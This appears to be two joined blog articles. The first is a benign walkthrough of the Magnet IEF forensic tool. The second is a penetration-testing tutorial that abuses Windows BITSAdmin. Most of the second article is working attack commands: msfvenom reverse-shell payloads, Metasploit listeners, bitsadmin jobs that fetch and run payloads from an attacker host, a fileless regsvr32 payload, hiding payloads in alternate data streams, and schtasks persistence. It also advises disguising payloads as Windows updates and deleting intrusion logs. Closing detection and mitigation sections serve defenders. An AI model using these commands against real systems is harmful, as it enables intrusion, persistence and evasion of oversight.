Forensic Investigation of Social Networking data using IEF


In this article, we will learn about this amazing forensic tool called Magnet Internet Evidence finder (Magnet IEF) which is used to recover or extract evidence from the various data source of the system and then integrate them into a single case file for analysis and reporting.

Table of Content

·        Introduction
·        Features of Magnet IEF
·        From Drives
·        From Files & Folders
·        From Images
·        From Volume Shadow Copies

Introduction

Magnet Internet Evidence finder was developed by some former police officers and forensic experts who come to know there is a need for user-friendly and easy to use software. It is a comprehensive tool to perform task regarding digital forensic investigation.
We can say that Digital forensic professionals around the world were heavily relied on the Magnet IEF to help them in their digital investigation process.
We can download Magnet IEF from here.
Features of Magnet IEF
There are three basic features in this tool
·        Find
·        Analyze
·        Report
Find: There are many artifacts in the system, IEF can parse these artifacts from the system and enable us to quickly dive into evidence. It can crave data from fragmented files it can recover evidence from the unallocated spaces that are not sequential. It has features to Identify unknown apps these apps might have a potential chat database with dynamic apps and it gets its monthly updates so it continues to collect evidence from new applications as well.
Analyze: IEF can quickly drill down into the systems to find evidence with filters, keyword searches, timelines, etc. and this allows us to receive evidence in the user-friendly format so that we can easily analyze those layouts. It also provides us the feature to view all evidence in one view and it can find out the relevant photographs by matching their hash values.
Report: IEF creates an easy to understand and navigate HTML report from any file selected with in the viewer along with listing all the found evidence. It also has the feature of a portable case with which we can create a light evidence copy for our convenience. Its timeline will help us to be organized in chronological sequence and we can export our evidence report in a variety of formats include PDF, Excel, CSV, XML, and tab-delimited formats. 
These features sum up operations we need to perform in order to find evidence in our digital investigations. Said operations include the different approaches to find evidence like scan from drives, scan from files and folders, scan from the forensic image, scan from volume shadow copies and scan from mobile.



FROM DRIVES
Firstly, we follow the approach to find or search for evidence in the drives. In the Search from drive approach Magnet IEF will search in the particular drives which we select for finding evidence. We select the whole drive or a particular partition which we select.
So, once we click on the DRIVE button we need to select a partition or drive we want to scan/search for the evidence.

In the next step, it shows the partition we select and the un-partitioned space of the drive we need to select those types and along with that the search type we want in this search for evidence after that press the Next button to move further.

Next, we can see that Magnet IEF confirms what we selected earlier by showing us all location of the drives and files that we wish to search. After confirming all the details, click on the Next button to move ahead.

After that, it will ask for what services we are searching for, in the investigation. We can check all the services like web browsers, Social networking sites and applications, file formats, connections, services, etc. We can also check all at once or check/select them one by one as per our preference of the scan. After selecting the services press Next button.

Then, we need to specify the destination path of our report and for that provide folder name in which our reports will be saved. Along with that, some specific case information’s like a case number, examiner name, evidence’s info must also be entered. We can also add our agency logo in our report, some notes regarding our forensic investigation. We can also provide some keywords that might give us an edge in our investigation as this tool also searches for keywords to make it much more convient for the user. After specifying the details that we must to provide, press the Find Evidence button.

After this, you will see two popups; first popup will show you the progression of your scan like which part is under scanning right now, how many files it needs to process, the time elapsed of current search and total search, the progression of current search and total search. You can also see the detailed view of the working of our Data processers by clicking on the Show Details button and wait patiently for completing its process.


The second popup will show you its report viewer which will further tell you every detail that it captures during the scan. For instance, in the image below, it shows all the details of our services. Like every other report viewer in the market, it provides us basic features such as alerts, bookmarks, chats, filter, search, etc.

Once all files get processed and the data processer completes it’s work the search status will signal us green indicating the completion of he work. After this, you can click on the Show Summary button if we want to see the summary of our search.

Thus, the case summary will pop-up. It just a regular notepad file with all the required information regarding our search in a compact and impactful manner.


If we check the Report Viewer and view its timeline feature it will display all the details of the services as we can see in the image below that our Firefox Cookies will expire on 2029 and, similarly, details about all other services.


From Files & Folders
This approach of searching evidence is quite similar to searching for evidence from drives. In the drive, it will take a storage partition or whole drive and run the search, to find evidence during investigation process.
But in Files & Folders, we need to select the exact folder or files in which we want to scan for our evidence in the investigation process.
These both are quite same in the selection and process of searching for evidence. We can use same tactics which we are using in the drive’s scan but instead of selecting partition, we need to select files of the system and its approach of scanning remain the same. It will try to find evidence from file to file until the process completes its task.  
The resulting pattern is the same as above and the Report viewer repeats every step like timeline, evidence report, etc.

From Images
In this scenario, we have fully captured the forensic image. To find evidence, from this image, we need to click on the Image in Magnet IEF. Through this approach we can find the evidence in this forensic image.
After this, we need browse the image in the system in order to find evidence through that and then press Open button to open this image in the software.

Then we need to select a search type of the scan, whether we want to scan the full forensic image or just a part of it. After selecting all the details of the scan press OK button to move further in the process.

Then after Magnet IEF try to confirm all the details which we provided earlier and if there is no issue we found in the details then press Next, to move further in the scan.

After selecting all the details it follow the same tactics as “Drive”. We need to specify every services that we want to include in our investigation process. After this it will ask for case details and destination path for our evidence report.
The evidence report will list all evidence found in the forensic investigation. We can filter the alerts, specify the alerts, bookmarks all the alerts we found in our evidence report. We can also see the timeline of the alerts and evidence.
Image scan helps us to find evidence in such a system, without actually acquiring the system. Which is very handy in the Digital Forensic for the Investigation.

From Volume Shadow Copies
Volume shadow copies formally known as shadow copy. It is a service introduced by Microsoft in Windows OS. It has to create backup copies or snapshot of the computer files and drives, even when they are in use.
It requires either windows NTFS or ReFS files, to create and store shadow copies. It can create a local and external volume in any windows system that uses these services, like creating such scheduled windows backup or automatic system restore point.
With the help of Magnet IEF, we can also find the potential evidence from volume shadow copies. So to start this process we need to select the Volume Shadow Copies button to move ahead in the investigation.
After this, it will ask if you find out from drives or images. All processes remain the same except the scenario of scanning. One follows the scan in drives and the other follows the scan from image.
Both try to find evidence through the same technique. If we understand the first we can crack our way in the second.

After selecting scan scenario, choose the drive and then the partition you want to scan. And then, press OK button to move ahead.

Now, it requires some basic details, which we need to specify like case details, destination path, services. We will use these for searching evidence. Quite similar to all the other scans, which we performed earlier.
Report viewer will generate report for us so that one can understand the results of the investigation in a much convenient way. The process will remain the same in the image scan.
The Magnet IEF also provides us the HELP function, which gives us the edge to understand every service and operations. By using that we will understand every function in a much comfortable way.

Author: Shubham Sharma is a Pentester, Cybersecurity Researcher and Enthusiast, contact here.

Windows for Pentester: BITSAdmin


In this article, we are going to describe the utility of the BITSAdmin tool and how vital it is in Windows Penetration Testing.
TL; DR
BITSAdmin is a tool preinstalled on Windows OS that can be used to download malicious files. It is one of the Living Off Land (LOL) Binaries.
Disclaimer
The main objective of publishing the series of “Windows for Pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any Pentester while solving CTF challenges or OSCP labs which are based on Windows Operating System. Here we do not criticize any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
·        Introduction
o   What is BITSAdmin?
·        Configurations used in Practical
·        Working with BITSAdmin
o   Downloading using /transfer Switch
o   Downloading using /addfile Switch
o   Downloading using PowerShell Cmdlet
o   Downloading using One-liner
·        Penetration Testing using BITSAdmin
o   Compromising using Malicious Executable
o   Compromising using File-Less Payload
o   Compromising with Malicious Executable inside ADS
·        Persistence using BITSAdmin
·        Detection           
o   SC Query
o   QMGR Database
o   Verbose Switch
o   Event Logs
·        Mitigation
·        Conclusion

Introduction
What is BITSAdmin?
Background Intelligent Transfer Service Admin is a command-line tool that creates downloads or uploads jobs and monitors their progress. BITSAdmin was released with the Windows XP. At that time, it used the IBackgroundCopyJob as its interface. The Upload option of the BITSAdmin was introduced with the release of Windows Server 2003. With the release of Windows Vista, we had some more additional features like Custom HTTP headers, Certificate-based client authentication, IPv6 support. Subsequent year was the release of the Windows Server 2008, it introduced the File Transfer Notification Method (which we use it to run an executable in Practical #5). Windows 7 introduced Branch Cache Method for the BITS Transfer. When BITS downloads a file, the actual download is done behind the svchost.exe service. BITSAdmin is used to download files from or upload files to HTTP web servers and SMB file shares. It takes the cost of the transfer into account, as well as the network usage so that the user's foreground work is not influenced. BITS has the ability to handle network interruptions, pausing and automatically resuming transfers, even after a reboot.
Configurations used in Practical
Attacker:
             OS: Kali Linux 2019.4
             IP: 192.168.1.13
Target:
             OS: Windows 10 (Build 18363)
             IP: 192.168.1.11
Working with BITSAdmin
As we discussed in the introduction that BITSAdmin is used as a download client. Now we will see the BITSAdmin in action. There are 2 switches to download a file in BITSAdmin, first one is ‘/transfer’ and ‘/addfile’. The working of both these parameters is quite identical. But the way these switches present the progress and completion feedback is different. BITSAdmin downloads files in the form of jobs. A job has to be defined before moving forward. After downloading we can work on the jobs using the various switches.
Practical #1: Downloading using /transfer Switch
The /transfer switch is a short and quick way to download any file from the remote server to the Host Machine. To begin the transfer, we need to define the Display Name of the transfer. It can be anything the user wishes.
Here, we named all our transfers as “hackingarticles”. Now after defining the name, we need to enter the location with the name of the file from the remote server. For the Test Environment, we have a sample image file named ignite.png at the remote server. We mention it and we also mention the Local Location and Name of the file. After providing all this information we hit Enter key and the transfer begins.
bitsadmin /transfer hackingarticles http://192.168.1.13/ignite.png c:\ignite.png
We can see that we can see the State as Transferred and we also get a confirmation “Transfer complete”. We perform a directory Listing to check the file and we are assured that the file was indeed transferred successfully.

Practical #2: Copying Files Locally
BITSAdmin works on the principle of File Transfer. Hence, we can also use it as a glorified copy and paste command. This means that BITSAdmin will also be able to transfer from one location to another on the same machine. Let’s give it a try.
As we already know that the BITSAdmin deals with jobs. So, we will first declare a job. We named it hackingarticles.
bitsadmin /create hackingarticles
The file that is supposed to be transferred should be added to the job. We use the /addfile switch to complete this task. We will be transferring the file.txt from “C:\” to “C:\Users\Victim\Desktop\”.
bitsadmin /addfile hackingarticles c:\file.txt C:\Users\Victim\Desktop\file.txt
Now to initiate the transfer we will be using the /resume switch. This will sound different but the /resume switch does, in fact, initiate the transfer.
bitsadmin /resume hackingarticles
Now, when the transfer initiated. It transfers the file in the form of a temporary file. To actually get the file fully we will need to run the /complete switch. And as we can see that file is successfully transferred to the Destination.
bitsadmin /complete hackingarticles
We can see that the intended file is successfully downloaded on the Target System.
Get-ChildItem -Path C:\Users\Victim\Desktop
 

Practical #3: Downloading using PowerShell Cmdlet
The practicals that we showed just now can be performed on Windows Command Prompt (cmd.exe) as well. With the release of the Windows Server 2016, Microsoft has released a cmdlet specifically for the PowerShell to manage the BITS Jobs using BITSAdmin Client. It is named as Start-BITSTransfer.
Start-BitsTransfer -Source http://192.168.1.13/ignite.png -Destination C:\ignite.png
For the transfer using this cmdlet, we don’t have to mention the name of the Job. We can just define the Source and Destination as shown in the image given below.

Note: If while penetration testing, we get an environment that is strictly PowerShell and we are not able to use the BITSAdmin normally, we can use this method.
Practical #4: Downloading using One-liner
We can transfer our files using BITSAdmin in one execution. This is a good example when we are in a hurry for a transfer. Instead of declaring the job, add the file to the job, resuming the job and complete the job in different steps we can complete all the steps required to transfer in this one-liner. This method gets the work done in one go. This can also be used to push in a location where we can execute a single instance of command.
bitsadmin /create hackingarticles | bitsadmin /transfer hackingarticles http://192.168.1.13/ignite.png c:\ignite.png | bitsadmin /resume hackingarticles | bitsadmin /complete hackingarticles
ls

NOTE: BITSAdmin can perform many more functions (like upload files, etc.) but we will be focusing on Penetration Testing for now.
Penetration Testing using BITSAdmin
Practical #5: Compromising using Malicious Executable
It’s time to move on from utility to Penetration Testing. We will be getting a meterpreter session using a payload which will be downloaded and executed using the BITSAdmin. These practical were tested in a lab-controlled environment where we have the same network configuration for the entirety of the Practical. So, we created the payload once and used it multiple times.
To begin the exploitation, we decided to create a payload using the msfvenom tool. We use the reverse_tcp payload with the target to be Windows System and gaining meterpreter. We defined the Lhost for the IP Address for the Attacker Machine followed by the subsequent Lport on which we will be receiving the session from the target machine. We created this payload in the form of an executable and sent this payload to the /var/www/html/ directory.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.13 lport=1234 -f exe > /var/www/html/payload.exe
After the payload creation, we start the apache2 service so that the payload is available to download on the Local Network.
service apache2 restart

After serving the payload on the web server, we will run the listener which can capture the meterpreter session when it will get generated.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 1234
run
We set the proper configuration of the payload. We set the attacker machine’s IP address as the localhost address and the port that we mentioned while creating the payload as a local port.

In our previous practices, we downloaded a file, now we will download the payload using the same technique. But as BITSAdmin can also execute the payload by itself we will define parameters for it.
bitsadmin /create hackingarticles
Starting with creating a job named “hackingarticles”, then we add the payload file in the job that we just created.
bitsadmin /addfile hackingarticles http://192.168.1.13/payload.exe C:\payload.exe
After adding the file, we use the /SetNotifyCmdLine switch to execute the payload. This is done with the help of an action that we scripted. First, it will start the cmd.exe and then, it will complete the download and then it will execute the said command in the background.
bitsadmin /SetNotifyCmdLine hackingarticles cmd.exe "/c bitsadmin.exe /complete hackingarticles | start /B C:\payload.exe" 
After this, we run the /resume switch to get the download started.
bitsadmin /resume hackingarticles

After the download completes, it executes the payload and we have ourselves a meterpreter session.
sysinfo

Practical #6: Compromising using File-Less Payload
In the previous practical, we created a payload file and then gained a session from it. This method creates a file that can be detected. In other words, it was traceable. But as BITSAdmin can execute a command directly we can exploit the target without using a file.
We will start this practice with our attacker machine, we will be running Metasploit Framework. After opening it we will use the web_delivery Exploit as shown in the image given below.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
Here we choose the target 3 (Regsvr32) as it will generate a small command that can be executed to get the meterpreter session.
set target 3
We set the attacker machine’s IP Address as localhost address and we run it. It works for a bit and gives us the regsvr32 command that will give us access to the target machine.
set lhost 192.168.1.13
run  

On the Target Machine, there is a holdup. BITSAdmin is programmed to run the command only on completion of the download. So, we will be needing to download something. It can be anything that seems harmful. As BITSAdmin is designed to download the Windows Updates, we can use its file as well. Here we will be using a harmless png image file.
bitsadmin /create hackingarticles
bitsadmin /transfer hackingarticles http://192.168.1.13/ignite.png c:\ignite.png
After adding the file, we will move on the /SetNotifyCmdLine. Here we will modify the command that was created using web_delivery in such a way that regsvr32.exe creates the session from the target machine to attacker machine.
bitsadmin /SetNotifyCmdLine hackingarticles regsvr32.exe "/s /n /u /i:http://192.168.1.13:8080/dE8vICrV.sct scrobj.dll"
Finally, we resume the BITSAdmin to get this working.
bitsadmin /resume hackingarticles

As shown in the screenshot given below, we grab a meterpreter session from the Target Machine as soon as the command gets executed.
sessions 1
sysinfo

This was a stealthy method as there is no file associated with the session we obtained. But this can get stealthier using the right techniques.
Practical #7: Compromising with Malicious Executable inside ADS
In the previous article of this series, we introduced Alternative Data Stream. So, without going into details about the Alternative Data Stream, let’s compromise the target machine with a payload concealed in the Alternative Data Steam.
We will create a malicious executable payload using msfvenom as we did in Practical #5, as it is the same method, we are not showing it again here.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.13 lport=1234 -f exe > /var/www/html/payload.exe
service apache2 restart
After creating the payload and starting the listener, we will move to our target machine.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 1234
run
Here, we created a BITS job named hackingarticles using the /create switch.
bitsadmin /create hackingarticles
After creating the job, we will add the file to download using BITSAdmin’s /addfile switch.
bitsadmin /addfile hackingarticles http://192.168.1.13/payload.exe C:\payload.exe
After adding the payload successfully, we use the next switch /SetNotifyCmdLine to read the contents of the payload which will be downloaded and transfer to the alternative data stream of a file.txt.
bitsadmin /SetNotifyCmdLine hackingarticles cmd.exe "/c type C:\paylaod.exe > C:\file.txt:payload.exe"
Keeping this configuration, we start the download using the /resume switch.
bitsadmin /resume hackingarticles
Here, we list the C:\file.txt contents to find that out payload.exe has successfully being transferred into the ADS of this file.
Get-item -Path C:\file -stream *

Now to execute the file that we put in the ADS; we will be using wmic. We will use the create switch followed by the path of the payload as shown in the image.
wmic process call create "c:\file.txt:payload.exe"
It says that the Execution was successful.

We went back to our Attacker Machine to see that a meterpreter instance is generated and captured by our listener. We run sysinfo to see the details of the Target System.
sysinfo

Practical #8: Persistence using BITSAdmin
Persistence, it means that the exploited session will be available to you even after the target machine restarts. Let’s see how to achieve this using BITSAdmin.
We will create a malicious executable payload using msfvenom as we did in Practical #5, as it is the same method, we are not showing it again here.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.13 lport=1234 -f exe > /var/www/html/payload.exe
service apache2 restart
After creating the payload and starting the listener, we will move to our target machine.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 1234
run
Here, we created a BITS job named hackingarticles using the /create switch.
bitsadmin /create hackingarticles
After creating the job, we will add the file to download using BITSAdmin’s /addfile switch.
bitsadmin /addfile hackingarticles http://192.168.1.13/payload.exe C:\payload.exe
After adding the payload successfully, we use the next switch /SetNotifyCmdLine to execute the payload. This is done with the help of an action that we scripted. First, it will start the cmd.exe and then it will complete the download and then it will execute the said command in the background.
bitsadmin /SetNotifyCmdLine hackingarticles cmd.exe "/c bitsadmin.exe /complete hackingarticles | start /B C:\payload.exe"
After this, we use another switch /SetMinRetryDelay. It is used to set the minimum length of time, in seconds, that BITS wait after facing a transient error before trying to transfer the file. Here, if payload that we download gets stuck in a transient error, which is a temporary error. BITS is designed to run continuously if an error of such kind occurs. So, if our download is completed but due to the transient error was not able to execute properly, this switch will make it retry after 120 seconds.
bitsadmin /SetMinRetryDelay hackingarticles 120
That’s was simply setting up an exploit to gain a session. Now we need to work on it to be a persistence method.  But the BITS can get into an error state and keep the payload in a temporary state without completing the download and in turn stopping the execution of the payload. To solve this issue, we will use schtasks to resume our job at a specific time again and again. This will allow the payload to persist irrespective of any kind of issue.
schtasks /create /tn hackingarticles /tr "C:\system32\bitsadmin.exe /resume hackingarticles" /sc minute /mp 60

The /resume switch in the schtasks will restart the BITS job when if, it enters an error state. Using a schedule modifier task (/mo) to make the task gets reactivated every (60, in this case) minute. The BITSAdmin redownloads the payload in case of an error and schtasks take care of the execution of the payload on an event of a reboot of the machine.
schtasks /run /tn hackingarticles
We went back to our Attacker Machine to see that a meterpreter instance is generated and captured by our listener. We run sysinfo to see the details of the Target System. In case of failure, we will have to restart the listener with the same configuration and we will have the session again in no time.
sysinfo

Please, note this is a limited demo. In the real-life scenarios, we suggest that rename the payload file to look like a Windows Update and perform all these tasks in the ‘%Temp%’ directory for obvious reasons. We also recommend that we modify the schtasks to delete the task after a particular time with removing the presence by deleting the logs related to this intrusion.
Detection     
Before the official introduction of BITSAdmin in the Windows Defender Real-time Scan, it was quite difficult to detect BITS Transfers. Apart from scanning through logs, there wasn’t any other method. Monitoring the logs for the usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' switches) Actually, there is a way to gain the information about the transfers. It is through the QMGR Database.
SC Query
BITSAdmin is deployed as a service. Hence its status can be checked with the SC Query Utility.
sc query bits

This will show if there is an instance of any BITS Transfer Running or not.
QMGR Database
It is an abbreviated form of the Queue Manager Database. This is a record of all the BITS Jobs. There are 2 types of files generated in this database record. A .dat file and a .db file. This database file can be found at this location
C:\ProgramData\Microsoft\Network\Downloader\
We traversed to the said location using the dir command to find ourselves a qmgr.db file. We tried opening the file but it was hex-encoded.


So, we used a Hex-Editor Online tool. Here we scanned through the data and found that we have the IP Address of the file being Downloaded with its path. We followed the complete path and it gives us the temporary file that was downloaded before the /complete switch was used.

It is to be noted that the BITS Jobs will not be shown in autoruns as there is not any way to run BITSAdmin on start-up with Default Configurations.
Verbose Switch
If we are lucky enough to find the BITSAdmin in the act, we can get our hands some very useful information. We ran a BITS Job and ran the following command to gain information about the job. bitsadmin /info hackingarticles /verbose

Event Logs
We have the Windows Event logs which Focuses on the default event logs, it is one of the sources for detection of any download. It is known as the Microsoft-Windows-BITS-Client/Operational log. These logs contain the download state, download source, user and some file information for each BITS transfer job. This event log is strikingly similar across Windows 7 through 10 so it is a good endpoint collection source. There are some limitations here as these logs don’t show the sparse data, as well as the logs, are spread over several EventIDs. Potentially a huge amount of entries in any environment makes it impossible to spot malicious download hiding in plain sight. This log will also not detect the BITS persistence unless there was a network transfer to a suspicious domain as part of the configured job.
This Log can be monitored on the Event Viewer at this Location:
Application and Services Logs > Microsoft > Windows > BITS-Client

Mitigation
Our recommendation for mitigating BITSAdmin is to modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic. We can also reduce the default BITS job lifetime in Group Policy or by editing the “JobInactivityTimeout and “MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS The default maximum lifetime for a BITS job is 90 days, but that can be modified. Lastly, we can limit the access of the BITSAdmin interface to specific users or groups.
Conclusion
This kind of attack is very much happening in real life. There have been multiple incidents targeted to different office environments where the malicious file was detected and deleted but was revived again using BITSAdmin. It was a fun learning experience working with BITSAdmin. We are going to write more articles about other LOLS that we could find. Stay Tuned.
BITSAdmin Operations                   Persistence using BITS    
Living Off Land binaries                  BITSAdmin
Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester. Can be Contacted on Twitter and LinkedIn